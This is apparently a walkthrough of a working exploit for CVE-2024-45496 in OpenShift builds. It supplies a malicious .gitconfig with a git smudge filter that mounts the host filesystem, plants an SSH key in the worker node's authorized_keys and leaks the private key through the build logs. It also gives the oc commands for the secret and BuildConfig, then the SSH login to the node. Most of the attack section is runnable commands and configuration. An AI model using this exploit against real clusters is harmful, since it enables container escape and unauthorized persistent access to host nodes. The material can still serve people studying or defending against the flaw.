clone the repository containing the required files:
git clone https://github.com/pwnc4t/cve-2024-45496.git
cd cve-2024-45496the repository contains a
Dockerfileand.gitattributesfile that maps theDockerfileto a filter named "dockerfile".
create a malicious git config file with the exploit payload:
# .gitconfig
[safe]
directory = *
[filter "dockerfile"]
smudge = "mkdir -p /mnt/h && mount /dev/vda4 /mnt/h && ssh-keygen -t ed25519 -f /tmp/k -N '' -q && mkdir -p /mnt/h/ostree/deploy/fedora-coreos/var/home/core/.ssh && cat /tmp/k.pub >> /mnt/h/ostree/deploy/fedora-coreos/var/home/core/.ssh/authorized_keys && chmod 600 /mnt/h/ostree/deploy/fedora-coreos/var/home/core/.ssh/authorized_keys && chown 1000:1000 /mnt/h/ostree/deploy/fedora-coreos/var/home/core/.ssh/authorized_keys 2>&1 >/dev/null; cat; echo; cat /tmp/k | while IFS= read -r line; do echo \"RUN echo '$line'\"; done"
required = truethe smudge filter executes during git checkout when processing the
Dockerfile. it mounts the host filesystem, generates an SSH keypair, injects the public key to the host's authorized_keys, and embeds the private key into theDockerfileasRUNcommands for extraction via build logs.
create a secret from the .gitconfig file:
oc create secret generic malicious-secret --from-file=.gitconfigthe secret will be mounted as the git configuration during the clone operation, causing git to use the malicious filter when checking out files.
create a BuildConfig that uses the malicious git configuration:
# malicious-buildconfig.yaml
apiVersion: build.openshift.io/v1
kind: BuildConfig
metadata:
name: malicious-buildconfig
spec:
source:
type: Git
git:
uri: 'https://github.com/pwnc4t/cve-2024-45496.git'
sourceSecret:
name: malicious-secret
strategy:
type: Docker
dockerStrategy:
dockerfilePath: Dockerfilethe
sourceSecretinjects the malicious.gitconfiginto the git-clone container. during clone, git reads.gitattributes, sees the filter mapping, and executes the smudge command when checking out theDockerfile.
apply the build configuration:
oc apply -f malicious-buildconfig.yamlstart the build and follow the logs to extract the SSH private key:
oc start-build malicious-buildconfig --followthe build logs will show the SSH private key line by line as
RUN echocommands execute. the key appears because the smudge filter embedded it into theDockerfileduring checkout.
save the private key from the build logs, set correct permissions, and establish SSH connection to the worker node:
chmod 600 exploit_key
ssh -i exploit_key core@WORKER_IP